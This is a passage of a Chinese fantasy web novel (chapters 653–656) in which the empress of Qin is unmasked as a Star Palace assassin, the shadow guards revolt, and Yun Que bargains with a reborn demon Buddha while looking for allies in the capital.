如果这段因果律注定了自己是佛陀转世的关键,那么即便摇动梵钟,魔佛应该也会安然无恙。 叮叮当当。 屋子里响起了清脆的铃铛声。 春梅毫无影响! 安安稳稳的坐在床榻上,甚至嘴角带着一抹嘲讽之意。 “没用的,早说了你不是佛门高僧,用不了这件至宝。” “那上次你怎么被铃声震走的?也是我摇的啊!”云缺疑惑道。 “上次你带来的梵钟,蕴含着雷音寺方丈的毕生佛力,才能伤到本座,现在的梵钟早已耗尽佛力,也该物归原主了!” 春梅说罢突然跃起,伸手要夺。 云缺早有防备,一张嘴把铃铛吞了下去。 春梅一愣,掐着云缺的脖子,开始左右摇晃。 云缺在人家手里像个布娃娃似的左右横飞,最后把云缺都快晃吐了,也没晃出来铃铛。 “停停停!” 云缺干呕着喊停,道:“收进文殿了!你拿不到!别掐了再掐没气了!” 春梅冷哼着松开手,从新盘坐在床榻。 云缺揉着被掐得火辣辣发疼的脖子,道: “说说联手的事,控制魂兽的幕后之人到底是谁,是人是鬼,还是大号儿的噬魂兽?” 春梅脸色渐渐阴沉下来,目光中泛起一抹贪婪之色,沉声道出了三个字。 “噬魂师……” 第653章 酉鸡 皇宫,御书房。 自从云缺走后,秦皇始终坐在书房内,一动未动,犹如一尊雕塑。 身不动,心思却千回百转。 赢開回想起自己的一生。 从出生后的窘迫处境,到后来的独自逃亡,直至边关落脚,组建起自己的大军,多年后杀回天龙城…… 赢開这一生,称得上波澜壮阔,起起伏伏。 从逃亡的皇孙一跃成为大秦之主,这是多少人梦寐以求的经历,简直可以用传奇来称之。 但是赢開自己知道,他这一生,仍旧在棋盘之上,逃不过命运这只大手。 哪怕身为一品强者,还是有着诸多限制,在大秦之外根本无法动用一品之力。 而且这一生的修为也就此凝固,寿元无多,更不用说一品之上的超品境界。 更有着难以匹敌的强敌。 比如降临的巫神,比如星辰殿之主。 “一品……” 赢開缓缓仰起头,望着黑漆漆的天穹自语道:“朕恐怕是这世上最可笑的一品。” 寂静的午夜,辗转反侧的心情,赢開很想倾述,却无人聆听。 门外传来太监的声音,有宫女求见,是皇后派来的。 秦皇让宫女进来。 “陛下,皇后娘娘请您早些休息,娘娘说,陛下保重身体才是,千万别太过操劳。” 宫女说完一句话,垂头不敢吭声。 秦皇点了点头,看了看天色道:“皇后她,还没睡么。” “回禀陛下,娘娘尚未安睡。”宫女如实道。 “这么晚了,她怎么还不睡。”秦皇问道。 “娘娘她……”宫女欲言又止,不敢说实话的样子。 “如实说来。”秦皇道。 “娘娘每晚都会登上后花园的凉亭,在凉亭上能看到御书房的灯火,灯火不熄,娘娘就不会睡,所以每天都睡得很晚。” 宫女说完,秦皇沉默了良久,起身离开御书房,来到后宫皇后的住处。 皇后还没睡,正在刺绣,绣的是一件龙袍。 秦皇走进来,一眼看出那龙袍是他最喜欢的一件,其上的几条金线有些磨损,前些日子已经吩咐过宫女修补。 皇后不放心宫女的手艺,亲自动手修复。 “陛下。” 皇后急忙起身施礼,秦皇摆手止住。 拿起龙袍看了看,秦皇满意的点点头,道: “皇后的手艺精湛,看不出丝毫修复的痕迹,下次这种琐事,让下人去做就是了。” “陛下曾经说过,夫君子之行,静以修身,俭以养德,臣妾还算精通刺绣,能帮陛下绣龙袍,是臣妾的福分。” “随你吧,天太晚了,早些休息,朕今晚在你这睡了。” 皇后听罢连忙开始准备,又是沐浴又是更衣,端庄的脸庞上带着难以掩饰的喜悦。 秦皇倚在床榻上,望着皇后忙碌,一时间有些感慨。 多少年了, 他这位大秦之主很久没来过后宫,以至于皇后的模样,都变得陌生许多。 屋子里熬着汤药,药香阵阵,皇后更衣的时候偶尔咳嗽两声。 “身子不舒服?”秦皇问了句。 “有些着凉,不碍事的。”皇后温和的答道,收拾好之后才躺下,连汤药都没顾上喝。 秦皇亲自将汤药端了过来,吹凉了一些,递给皇后。 皇后喝完汤药,端庄的脸庞变得红扑扑的,在烛光下有一种精致的美感。 别看生了三个儿子,大秦皇后的模样依旧美丽。 躺在床上,秦皇望着棚顶,喃喃自语: “少年城一战,朕险些回不来,大意了……” 皇后听得担忧不已,却没有刻意询问,只是温柔的望着秦皇,陪在旁边默默聆听。 秦皇没说大战的经过,而是说起了年轻时在边关的一些经历,最后说起自己的父亲。 父亲还活着这个消息,秦皇没对任何人提起过。 这个消息,也是令秦皇心潮起伏的原因所在,今晚对皇后说出来,秦皇觉得痛快了许多。 但也有些内疚。 因为他对皇后,其实并没有感情,枕边人,只是个工具罢了。 替赢家传宗接代的工具。 可笑的是,传的,还不是自己的种,更不是赢家的种。 屋子里安静下来,沉默良久后,响起秦皇的低语。 “朕,始终将你当做棋子,你恨不恨。” “不恨,臣妾甘愿做陛下的棋子,任凭陛下摆弄,陛下想让臣妾去哪,臣妾就去哪,永远没有怨言。” “一国之后,你当之无愧,可惜,朕也走不出这棋盘,朕这一生,愧对于你。” “陛下没有亏欠臣妾,千万别这么说,因为臣妾,也拿陛下当棋子……” 秦皇原本在感慨唏嘘,听闻皇后最后这句话,忽然神色一变。 赢開转头望向枕边人。 他发现皇后依旧温柔端庄,可是嘴角却泛着诡异的笑容。 咔!咔!咔!咔! 床榻四角突然升起四根铁柱,铁柱之间串联起一道道幽蓝的雷电,形成电网将床榻完全封死! 如此异象,令秦皇大为意外。 但是赢開没动,而是缓缓皱眉,道: “皇后,这是何意。” 皇后微笑着道: “二十年之期已到,大秦,该亡了,陛下,也该死了。” 秦皇目光一冷,抬手抓向皇后的脖子。 二十年之期,是赢開心里面的一根刺,是星辰殿对他最恶毒的诅咒! 赢開相信星辰殿有覆灭大秦的力量,但他从未想过,多年来的枕边人,被他视为工具的皇后,居然也是星辰殿的人! 一把抓空。 手里只有一件皇后的衣服。 身边的皇后如同鬼魅般消失,出现在电网牢笼之外。 皇后依旧端庄,有一种母仪天下的气质,只不过这种气质在披上那件紫袍之后,完全变成了冰冷诡谲! 袖口上,绣着一个酉字。 嘭! 秦皇捏碎了手里的衣服,面沉似水,从牙缝里挤出两个字。 “酉鸡……” “臣妾知道陛下会意外,臣妾也知道陛下今日会来,所以特地为陛下准备好一副棺椁,还望陛下喜欢。” 随着皇后的柔声细语,秦皇所在的床榻发生了改变。 这张宽大的木床,开始缓慢下沉,床沿拔高,最终形成棺材的形态。 一副雷电之棺! 赢開缓缓坐了起来,沉着脸,道: “夫妻二十余年,原来始终在同床异梦,没想到,你的忍耐力如此惊人,二十年如一日的伪装,朕居然没有任何察觉,果然是高手。” 皇后仿佛听到了夸赞般掩口轻笑,道: “不瞒陛下,臣妾也很辛苦,不仅要在陛下面前做出淑德贤良的模样,还要替陛下连生三子,生孩子的事,很辛苦的,不是陛下的孩子,生得更辛苦。” 赢開的脸色愈发阴沉,沉声道: “你,原来一直都知道。” “当然知道,九皇叔的功夫了得呢,寻常女子怕是难以应对,幸好臣妾精通此道,才能游刃有余,不漏破绽,换成其他人,怕是逃不过陛下的法眼。” “你到底是谁!” “臣妾是风尘之人,陛下可以称呼臣妾的另一个名字,梅三娘,另外还可以告诉陛下一些事,臣妾在大秦与大唐,都有不少买卖。” “买卖……你有什么买卖。”秦皇冷声道。 “当然是……青楼啊,咯咯咯咯。” 梅三娘娇笑连连,母仪天下的气质随之消失,取而代之的是一种勾人的神态,如此模样,绝非常年居住在皇宫里的女人能呈现出来的。 秦皇的眉峰锁得极深,冷声道: “开青楼,你如何离开的皇宫。” “陛下有地镜异宝,可瞬息万里,别忘了,星辰殿也有不少宝贝,两地挪移,不费吹灰之力。” 梅三娘现出一种娇嗔的表情,道:“谁让陛下那么狠心,一年到头也不来我这里坐坐,臣妾只能自己去外面寻些乐子,做些买卖。” 秦皇狠狠的咬起牙关。 他认为的一国之后,居然是个青楼女子! 秦皇并不知道梅三娘这个名字,但是云缺知道。 如果云缺此时在场,会一眼认出皇后,正是大唐最大的青楼,百花楼的东家! “欺君之罪,当诛!” 秦皇冷喝一声,浑身气机暴起,就要撑开电网。 梅三娘娇笑道: “陛下何必白费力气,你在少年城被重创,又闻了臣妾的摄魂香,气机大减,现在陛下的战力怕是所剩无几。” “当真以为,凭你就能困住一品强者。”秦皇的气机在不断拔升,四周的电网被渐渐撑开,纷纷弯曲起来。 “天下一品,确实强大,臣妾当然困不住,不过陛下难道还以为,你自己仍然是一品强者吗。” 梅三娘娇笑连连,道:“皇宫之地,已经不属于大秦了,陛下不妨试一试,看看你现在究竟是一品,还是二品。” 秦皇闻言心头一沉。 他已经感受到了。 自己所催动的气机,居然达不到一品! 如此异象,让秦皇万般疑惑,难以置信。 天龙城是大秦皇城,皇宫又是皇城的中心区域,堂堂大秦帝王,在皇宫里居然失去了一品战力,这怎么可能! 除非大秦被外敌所占,或者某一个区域的大秦百姓不认秦皇,比如少年城,否则赢開只要在大秦,就可以动用一品之力。 这是儒圣遗骨的作用,一国之君,即有一国之力! 秦皇的脑海很快浮现出一个猜测。 皇宫,怕是被攻陷了。 而且是从内部被攻陷! 外面响起接连不断的哀嚎声。 那是太监与宫女被大片斩杀的响动。 窗外, 一道又一道影子般的身影相继浮现。 那是影卫,本该守护大秦皇帝的最强近卫军,却对着皇宫里的活人挥起了屠刀。 今晚, 数以万计的影卫,集体叛变! 第654章 第六位超品 噬魂兽是一种来自天澜宝境的异兽,是大渊里的诡物与天澜宝境里的栖影虫融合后异变而成,本体为影子,以生魂为食,吃掉生魂之后会占据其躯壳,随意走动。 云缺听过说噬魂兽,但是噬魂师这种存在,从未听闻。 能控制噬魂兽的邪修,还是噬魂兽的变异体? 为了在魔佛面前获得更多的筹码,云缺决定不懂装懂,否则会被对方小觑,那么自己的处境必然更加不妙。 “原来断你因果的罪魁祸首,是噬魂师。” 云缺老神在在的点了点头,一副了然于胸的架势,道:“你想如何报复,将其吞噬当做大补?” “如何报复是我的事,你只要将其引到此地即可。”春梅没听出云缺的心虚,因为云缺一点都不心虚。 装犊子而已,谁不会呀。 “可以。”云缺拍板道:“不过我不太相信事成之后,你会当真退走,你如何保证。” “佛无妄语,本座既然说了就不会反悔。”春梅道。 “佛是无妄语,但你这佛有点让人放心不下啊。” 云缺想了想道:“不如你起个誓,你发誓事成之后不会害我,这笔交易就算达成,我用尽手段也会把噬魂师给你引来。” “好。”春梅竖起三指起誓道:“我以佛陀立誓,只要你云缺能引来噬魂师,你我之间的恩怨一笔勾销,再无因果。” “这不就成了么!咱们一言为定!” 云缺呵呵一笑,整个人变得轻松起来,关切的道:“要不要喝点热水?” “不渴。”春梅冷淡的道。 “吃点宵夜?”云缺道。 “不饿。”春梅清冷的道。 “你这身子太弱了,不吃不喝挺不住多久。”云缺关心的道。 春梅的确虚弱,被魔佛吸纳了一股气血之后,脸色苍白得可怕。 “引来噬魂师,我自可恢复。”春梅道。 见实在套不出话来,云缺也不装模作样了,开门见山的问道: “你离开天龙城之后,要去什么地方,我好提前有个准备,你去的地方,我肯定不去。” 本以为魔佛不会透露行踪,不料人家直接说出了地点。 “万妖国。” “你去万妖国?”云缺诧异起来,问道:“去做什么,吃妖兽去?” “去报仇!”春梅目光森冷的道:“千年前的那笔账,终归是要算的。” 云缺心头一动,借机追问: “妖族至尊莫非也转世了?你们当初不是联手来着么,难道妖族至尊叛变了?” 春梅的神态变幻起来,嘴角泛起一抹古怪的浅笑,道: “是啊,她是个叛徒,与儒圣那卑鄙小人一样背叛了我们,不杀掉她,实在咽不下这口恶气。” “这么说,妖族至尊的转世就在万妖国!”云缺低呼道。 神秘的万妖国,连大秦这种庞然大物都有所忌惮,果然万妖国隐藏着恐怖的强者。 春梅缓缓摇头,道:“你只说了一半。” “一半?”云缺咂摸着这个词儿,忽地神色一变,道:“难不成,妖族至尊没有转世,根本没死!” “你很聪明,说对了,她的确没死!不过她很快就会死掉,本座会将她撕碎!连她的神魂一并吞噬!” 春梅的表情变得狰狞起来,恶狠狠的说道。 云缺能感受道对方的恨意,绝非伪装。 魔佛的确在记恨着妖族至尊,而且这份恨意延续了上千年之久。 云缺陷入了巨大的疑惑。 当年的超品之战究竟发生了什么,为什么魔佛不仅恨儒圣,也恨妖族至尊? 难不成,儒圣与妖族至尊曾经联手干掉的佛陀? 云缺认为有这个可能。 否则魔佛的恨意不会凭空而来。 脑子在快速转动,分析着当年的真相,很快云缺目光一凝。 不对…… 错了! 自己的思维陷入了一条死胡同! 云缺想起了藏石镇后山矿洞里的石壁画像。 画中只有五个人。 佛陀,道尊,儒圣,巫神与妖血武夫。 壁画里并没有妖族至尊! 惊诧之际,云缺瞄了眼春梅,发现对方微微翘起的嘴角,带着一种意味难明的嘲讽之意。 被耍了! “妖族至尊,没与你们联手,人家与你没仇。” 云缺语气冷淡的道:“既然大家都在口是心非,这场交易作废,我不会帮你引来噬魂师,你大可试试吞了我,尝尝文殿在你肚子里爆开是个什么滋味。” 春梅冷哼了一声,道: “你自己提的妖族至尊,与我有什么关系,况且我又没说谎,那家伙本来就没死,一直躲在万妖国续命,只要能吞了她,本座就有机会恢复到原本的修为,再回超品之列。” 云缺紧紧皱着眉,道: “没仇你也吞人家,有点不讲究吧,人家又没参战。” “谁说没仇!谁说她没参战!她只是换了另一种方式作战罢了。”春梅冷声道:“既然本座转世成功,必定将其完全吞噬,报仇雪恨!” 云缺听得糊涂起来。 妖族至尊参战了? 还是另一种方式? 那么壁画上为何没有体现呢,难不成壁画展现的画面不是千年前的超品之战? 忽然间云缺愣了一下。 他察觉到自己忽略了什么,略一回想,终于明悟。 壁画上,还有一个奇异的东西,就是妖血武夫身后的巨大竖瞳! 妖血武夫,妖血…… 云缺的脑海里炸起一道惊雷。 原来当年的超品之战,被群殴的武夫并非孤身一人,他身上融合的妖,就是妖族至尊! 壁画上虽然只展现了五位超品,其实还有第六位超品强者! 想到这里,云缺感慨起来。 难怪那妖血武夫如此强大,需要儒圣联合其他三位超品一起围攻才有胜算。 如此看来,壁画上的妖血武夫无论单挑任何超品,都有必胜的把握。 想通这一点,云缺终于明白了魔佛为何说与妖族至尊有仇。 四位超品围攻妖血武夫,也相当于围攻妖族至尊,确实是不死不休的大仇。 但是云缺有一点想不通。 自己这个儒圣传人在眼前,魔佛为何轻易放过自己。 比起妖族至尊,魔佛应该更恨儒圣才对。 敌人,与背叛的战友,明显后者更可恨呐。 为了套取更多的消息,云缺装作心平气和的道: “妖族至尊在万妖国何处,如果有机会去万妖国,也许我们还能联手一次,我帮你对付那家伙,你要付出足够的好处才行。” 听到这话,春梅的表情再次变得古怪起来,道: “你真的会帮我杀她?” “当然了!我是猎妖人,天生与妖为敌。”云缺道。 这话倒是实话,并没撒谎。 “猎妖人……呵呵呵呵,好一个天生与妖为敌,哈哈哈哈!”春梅放声大笑。 笑得云缺愈发疑惑。 这家伙是不是脑子有什么问题? 春梅笑够了,语气中充满蛊惑的道: “不清楚她躲在万妖国何处,不过早晚能找出来,你若能与我联手杀她再好不过,若能成功,我可以帮你炼化文殿,将文殿化作你自己的力量,到时候即便达不到超品,至少也能冲进一品。” “那就多谢了,我会尽力帮忙。” 云缺装模作样的拱了拱手,道:“你们当年为什么打起来,大家各据一方多好,何必互相残杀呢。” 春梅冷冷一笑,道:“一山不容二虎,多简单的道理,可惜啊,当年没人能看透。” 云缺等了一会儿,见对方不再多说,于是没再多问。 虽然是个难得的机会,但云缺知道自己问不出太多线索了,问太多容易惹怒对方,不如见好就收。 “你先歇着吧,我去找噬魂师。” 说着走到门口,一推门,屋门居然开了。 云缺有些不可置信。 这么简单就能走了? 魔佛居然当真相信了自己的鬼话? 门开了,云缺反而不走了,回过头,道: “可怜虫,到底是谁?” 春梅的嘴角再次泛起古怪的笑意,望着云缺道:“你不是很聪明吗,你可以猜猜看。” 云缺在心里骂了句猜你大爷,扭头离开房间。 等走出书楼,来到街上,云缺发现自己的后背几乎湿透,全是冷汗! 面对魔佛这种恐怖的强者,别说四品修为,三品甚至二品也会随时被人家捏死。 一边往旁边的浴堂走,云缺一边在心里嘀咕。 你用佛陀起誓,跟我用梅钱起誓有什么区别,鬼才信! 魔佛的誓言,云缺半点都没信,什么事成之后再无恩怨,这种鬼话是云缺的特长。 云缺相信即便自己找来了噬魂师,魔佛也不会轻易放过自己。 毕竟儒圣传承人这个身份,就足以让魔佛动杀心了。 幸好糊弄了过去,云缺直呼侥幸。 如果自己走不出书楼,根本找不到帮手,一个人面对魔佛没有任何胜算。 先回浴堂。 瞎子,鸿影和吴命始终等在大厅。 没有常威的身影。 “常威呢?”云缺道。 “大当家还没回来呢,这么长时间了,怎么还没请来郎中呢?”瞎子道。 “春梅姐姐怎么样了,严不严重?”鸿影问道。 “没事了,不用担心,喝些热水好多了。”云缺吩咐瞎子道:“带上钱,去找常威。” 说着云缺拿出一块碎银子,在桌子上敲了敲。 “银子就算了,点子硬,不方便,你多带点银票,小心拿好,风紧,别吹丢了。” 云缺这句话说完,瞎子的神色豁然一变,连连点头。 山匪的黑话,瞎子一下就听了出来。 点子硬,说明发生了棘手的情况,风紧,下一句就是扯呼! 王爷这是在用黑话告诉他,出意外了,赶紧逃命! “大当家也不知去了哪边的药铺,鸿影和吴兄跟我一起去找,三个人更好找。”瞎子道。 云缺要的就是他这句话,点头道: “你们手脚麻利点。” 瞎子连忙领命,带着鸿影和吴命,头都没回,直接离开了浴堂。 王爷说了麻利点,就是片刻也别耽搁,走得越远越好! 等几人安全撤离,云缺松了口气,嘀咕道: “噬魂师……那是什么玩意?” 第655章 二十年后大秦亡 魔佛能吞噬噬魂兽,可见魂类异兽对魔佛是补品。 那么噬魂师,就是更大号儿的补品。 云缺只能如此理解。 至于找到噬魂师给魔佛大补,云缺可没有这种打算。 魔佛变得越强,自己这个儒圣传人就越危险,哪有帮仇家变强的道理。 云缺现在不想找噬魂师,只想找白无缺。 实在不行把白无缺绑来,丢进书楼里,看看最后谁吞谁,大不了同归于尽也行,反正云缺表弟多,少一个就少一个。 瞎子等人走后,云缺气定神闲的离开浴堂,迈着方步,一副稳如泰山的架势。 等转过一条街,立刻撒丫子狂奔。 自己人都撤了,还不跑等什么呢。 那可是魔佛啊! 奔跑的方向是皇宫。 云缺自己不打算再面对魔佛,可没打算放过对方。 正好这里是天龙城,算魔佛倒霉,云缺就不信倾尽大秦之力还弄不死一个极其虚弱的超品转世。 一边跑一边在识海沟通月魁。 “姐!那家伙到底有多强,有没有超过一品。” “他很强,我有强烈的预感,他能轻易毁掉我的妖魂,杀三品易如反掌,杀二品或许也没问题,但是杀一品未必做得到,他的力量应该是一品上下,绝对没有超过一品。” “一品的魔佛,那就好!让我的皇帝舅舅弄死他!” “我还有个发现,刚才魔佛的力量虽然恐怖,其实并不充沛,如无根之水,难以为续,如果对上全盛的一品,他未必能坚持多久。” “果然如此!我猜也是这样,那家伙只是个三月胎儿,尚未生长完整,力量被极大限制,看来这次有机会除掉魔佛!” “那女人的身体只是凡人,挺不住多久的,没有外来的养料,魔佛会腹死胎中,确实是一次难得的机会,这样的机会以后恐怕不会有了。” “老姐说得没错,以后肯定没机会了,不过以前有机会,可惜错过了,早知道春梅肚子里是魔佛,胎盘的时候就弄死他丫的!” “杀胎盘……你脑子里都想些什么呢……” 月魁不再吭声,可能是被云缺那惊世骇俗的想法给吓到了。 云缺倒是不以为意。 杀胎盘算什么,如果再提前一些,让赢人志变成太监也是一种手段。 这叫防微杜渐,将危险扼杀于摇篮当中。 奔行途中,云缺思索着一件奇怪的事。 有关可怜虫的说法。 魔佛说出可怜虫三个字的时候,语气中带着一种鄙夷,还有一种很难察觉到的唏嘘之意。 可怜虫三个字,其实说得有些伤感,或者说,有些感同身受。 难道魔佛在自嘲他自己是可怜虫? 云缺觉得不太对。 既然是魔佛,自然不会对自身有什么感伤之意,魔的存在,是凶戾的象征。 如果不是自嘲,那么可怜虫的说法只能是另指旁人。 当初围攻妖血武夫的几位超品,都有可能是魔佛口中的可怜虫,因为那几位超品的下场确实都很可怜。 也可能指的是儒圣。 因为儒圣算计了其他超品之后,也命归黄泉,下场更是悲惨。 云缺想不通可怜虫的含义,但能确定一点,反正肯定不会是妖血武夫。 当年的超品之战,人家妖血武夫自始至终大战到最后,一人单挑好几个,战死也算豪杰。 云缺更加想不通的是,魔佛为何对自己的态度突然改变? 魔佛到底看到了什么? 自己身上难道还有其他更加凶险的因果律? 云缺的内心有些忐忑, 决定有机会找白无缺再重新看看,最好把那些与霉运有关的因果全断掉,只留大富大贵妻妾成群的美好因果。 云缺并不信命,遇到街边算命的,不给钱都算好的,心情不好反过来给算命的算一卦,顺便坑点钱。 但这次不一样。 佛门的因果,玄奥莫测,云缺已经领教过了。 而佛门的超品,也许能掌握改变因果的手段。 算命的信不过,佛陀转世信得过。 云缺的脚步停在一座府宅近前。 这里是太尉府。 从浴堂到皇宫的路上,是会经过太尉府的。 这次魔佛危机,太尉肯定能帮忙,既然路过,云缺打算提前通知一声,拉着太尉一起去见秦皇。 来不及敲门,直接翻墙而入。 随便抓了个府里的下人喝问: “太尉大人在何处,我有急事!” 下人一见是驸马,急忙见礼。 云缺这位驸马,整个天龙城的人都认识,毕竟游过街嘛,可能天龙城里很多人没见过秦皇,但街边的乞丐都认得云缺。 从太尉府的下人口中,云缺得知太尉没在府中,去了皇陵。 “皇陵?” 云缺十分奇怪,大半夜的太尉去什么皇陵,看坟还是烧纸去了? 就算烧纸也不该去皇陵啊,那是秦皇的列祖列宗,又不是龙桃的祖宗。 “皇陵出了什么事,因何太尉亲自前去。”云缺问道。 下人摇头不知,他地位太低,只看到太尉出门,不知内情。 云缺让下人找来太尉府的管家。 很快管家急匆匆赶到,一见云缺就是一愣。 管家始终在正厅候着,等待太尉回府,而正厅就正对着太尉府大门。 大门都没开,驸马怎么进来的? 管家没敢多问,如实道: “回禀驸马爷,我家大人去皇陵查看,皇陵出了些意外,好像有鬼魅作祟。” 一听鬼魅作祟四个字,云缺目光晃动了一下。 莫非,是魔佛口中的噬魂师? 云缺沉吟了稍许,认为噬魂师有可能在皇陵出没,而太尉亲自去缉拿。 以龙桃的本事,应该不会出现意外,云缺转身就走,要去皇宫。 刚到大门口,云缺停住脚步。 不对劲…… 皇陵里没有活人,都是枯骨而已,噬魂兽那种东西是以活物为目标,不该寄宿在尸骨身上。 弄一堆僵尸出来有什么用? 本体全是烂骨头,又没有修为,风大点都能吹散喽。 难道是调虎离山…… 云缺越想越觉得有可能。 今晚的皇城有点诡异,必须尽快告知秦皇。 离开太尉府,云缺直奔皇宫。 随着距离越来越近,云缺的脚步反而放慢。 在一条巷子里,一户人家的大门打开,有个妇人往外泼水,面无表情。 本该是常见的景象,可云缺察觉到了古怪。 妇人手里的木盆,根本没有水,而大门外的地面却有一滩水存在。 云缺停下脚步,微微皱眉。 很快,这户人家的门又被打开。 还是刚才的妇人,还是同样的泼水动作,木盆里还是没有水。 很短的时间内,妇人接连开门关门,做着同样的泼水动作,目光空洞,脸上没有任何表情。 这时街边走过一队巡街的军兵。 共有十人,排成一队。 这些军兵的行进姿态十分诡异,走路的时候左手与左脚同时抬起,右手与右脚同时抬起。 云缺目睹着这队军兵经过,心里的不安再次变重了几分。 街上不对劲…… 戴上大皇子的观魂镜,云缺再次看去。 远去的十名军兵,发丝里全都掺杂着一条条诡异的红线! 噬魂兽附体! 云缺心头一沉。 天龙城里居然出现这么多噬魂兽,看来魔佛没说谎,果然有强大的噬魂师潜入了天龙城。 而噬魂师应该拥有着控制大量噬魂兽的能力。 天龙城里到底有多少人被魂兽附身? 旁边有座三层酒楼,已经打烊。 云缺纵身跃起,几步登上楼顶。 站在高处,遥望皇宫。 这一看,云缺的心头更加沉重。 皇宫里漆黑一片! 没有半点灯火存在。 皇宫重地,哪怕皇帝睡觉了,也有许多值夜的宫人,不可能没有灯火。 皇宫肯定出事了! “到底怎么回事,皇宫难道被攻陷了,皇舅是一品,还有影卫存在……” 云缺自语了一句,忽地目光一沉。 “噬魂师,噬魂兽……影卫!” 云缺猜测到秦皇的最强近卫影卫,有可能被噬魂师控制了。 如果影卫集体叛变,那么天龙城都有可能沦陷! 黑压压的皇宫,毫无声息传来,在云缺眼里,那就不是皇宫,而是一处龙潭虎穴。 不能去! 云缺打消了去找秦皇的念头。 如果秦皇那种一品强者都陷入危机,自己去了根本没用。 云缺现在已经没有底牌。 文殿封印着巫神碑,无法动用,佛手印又被耗尽,凭着云缺自己的四品战力,即便完全妖化,充其量能与三品强者过招而已,胜负还未必可知。 这种情况下,三品去了皇宫也得有去无回。 并非云缺胆小,而是局面陷入了巨大的危机当中,想要破局,必须冷静才行。 莽撞是没用的,意气行事只能将自己也拖进绝境,到时候将再无希望。 “二十年后大秦亡……难道是星辰殿!” 云缺想起了秦皇曾经说过,星辰殿的殿主留给秦皇的一个期限。 二十年! 如今算来,二十年已经到了。 “必须找帮手才行。” 直接改路,前往丞相府。 以云缺现在的战力,对上一位生肖高手都可能被杀掉,唯有寻找强援方为上策。 不久后,云缺砸开了丞相府的大门。 丞相府的老管家认得云缺,连忙拜见。 “丞相大人在何处,带我去见他,快!”云缺催促道。 “大人在书房,驸马随我来。” 老管家在前边带路,很快两人来到书房所在的院落里。 到了地方,老管家和云缺全都傻眼了。 书房居然消失不见,原地出现了一个深不见底的大坑! 第656章 万法皆通 云缺与老管家望着大坑愣怔了好一会儿,齐齐往后退了几步。 “你们家,书房建在地底下?”云缺狐疑道。 “没、没啊!书房在地面,怎么会没了!”老管家惊悚不已。 “丞相一直在书房?”云缺问道。 “没错,一直在书房没出来过!”老管家如实道。 “有没有外人来过。”云缺道。 “没有!今天没有外人来府里,驸马您是第一个来的。”老管家说完忽然想起了什么,道:“夫人来过书房!糟了,夫人与丞相大人一起消失了!” “丞相夫人……”云缺紧锁眉峰,从新来到大坑旁边往下看了看。 深不见底! 大坑里传来一种极其冰冷的气息,好似万年冰窟,站在附近都能感受到寒意。 云缺试着将手伸进地洞,立刻传来一种令人战栗的恐怖气息。 云缺把手收了回来,并且下定决心。 谁爱下去谁下去,反正我肯定不下去! 左兰山也遭了算计,敌人肯定有备而来。 若是左兰山这种二品大儒都难以脱身,云缺下去也未必有用。 皇宫,丞相府,皇陵,这三处地点显然是敌人设计好的埋伏之所,全是龙潭虎穴。 云缺一时间为难起来。 太尉与丞相这两位强援一个也没找到,自己又难以抗衡星辰殿的高手,这可怎么办。 皇宫还有个镇殿将军寒刀,三品武者,算是一份强援。 但是寒刀始终镇守皇宫,秦皇都被算计,寒刀也肯定凶多吉少。 “段无病在何处?”云缺急急问道。 左兰山手里握着玄龙军这张底牌,再不用就来不及了。 “段大人没在皇城,被我家大人派遣去了少年城附近驻扎,看守少年城一众少年修士。”老管家如实道。 “玄龙军还剩多少在皇城里?”云缺追问道。 “大部分都在少年城那边呢,大人怕少年城出乱子,派遣了重兵镇守。”老管家回答道。 云缺叹了口气。 左兰山聪明一世糊涂一时。 少年城的确重要,满城数十万少年修士,真乱起来不是小事。 但皇城不能不管了呀! 这下好了,被敌人趁着秦皇最虚弱的时候奇袭,大家全都陷入绝险。 其实云缺知道左兰山在忌惮着什么。 是自己这个少年王。 左兰山怕自己一声令下,带着少年城的人逃出大秦,或者反叛大秦。 可我是秦皇外甥呀,一家人。 云缺万般无奈。 自己与秦皇的关系,显然左兰山与龙桃尚未得知。 如果知道了大家都是自己人,左兰山也不会把玄龙军的主力调集到少年城。 如此看来,太尉那边的虎贲军,也应该大部分驻扎在少年城附近,这时候想要回援根本来不及。 云缺气得一跺脚,转身就走。 老管家急忙追问: “驸马爷!这里怎么办呀!” “不就是个坑么,挖点土填上。” 云缺头也不回的走远。 剩下老管家一个人站在院子里发呆,我没问坑呀,我问的是丞相大人的书房啊! 离开丞相府,云缺思索着如何应对当前的局面。 天龙城已经成了棋盘,这步棋,星辰殿下得太大,能将秦皇与太尉和丞相齐齐困住,一名生肖高手肯定做不到。 至少两位生肖高手,甚至更多! 如此局面,云缺一个人的力量显得太过渺小。 对上一个生肖高手都是要命的事,两三个的话,云缺没有任何机会。 “趁其病要其命,星辰殿这步棋下得好狠!” 云缺嘀咕了一句,想不出任何破局之法。 唯一的机会,只有魔佛。 但是噬魂师在何处,云缺根本不知道,更不知道对方是人是妖,是鬼是魔。 噬魂师到底在皇宫,还是皇陵,或者在丞相府? 三个地点,只能有一次选择。 选错了,一旦将其引到书楼,魔佛不肯帮忙,那自己岂不是死定了。 云缺暗暗懊恼。 星辰殿这次的杀机来得实在太快,令云缺措手不及。 怎么办…… 云缺在街头疾行,漫无目的,一直思索着应对之法。 同一时间, 瞎子也在街头狂奔,脚步敏健,连路上的一些小水坑都能完美避开。 鸿影跟在后边跑,一边跑一边惊奇。 这是瞎子吗? 大半夜的跑在街上连水坑都不踩。 怎么比我眼神儿还好? 吴命在鸿影旁边,跑了一路后,出声道: “是不是书楼那边出了意外。” 瞎子头也不回的敷衍道:“没有,我就是担心大当家,咱们快点找到他,然后出城去吃点宵夜,听说城外有家小店儿的烧酒味道不错。” “不必隐瞒,你与王爷说的黑话,我听得懂。”吴命道。 瞎子尴尬了一下,道: “我也不知道出了什么事,反正肯定是要命的事,否则王爷不会说暗语,咱们快点找到大当家,然后立刻出城避一避。” 说着几人跑到一家药铺近前。 “大当家好像出门后往这边来的,去这家瞧瞧!” 瞎子说着开始砸门。 一个小学徒把药铺门打开,一脸茫然,目光呆滞。 “看病吗。” “找人!刚才有没有个五大三粗的汉子来过?”瞎子急急道。 “确实有位病人在就诊,里面请。”小学徒将三人带到了大厅。 几人进屋后,一眼看到了常威。 常威的状态十分古怪,一名郎中在给他把脉,他则大声说着自己的病症。 “肾有点虚!右眼皮总跳!尿不利索,还经常便秘!” “脑子也糊涂,经常想不起事情,总忘记穿裤子就上街。” “眼神儿也不太好,经常出现幻觉,老是能看到一些牛鬼蛇神之类的东西,比如门口那三个……” 常威说着说着,瞪大了眼睛。 他终于看到了援军,心情不由得激动起来。 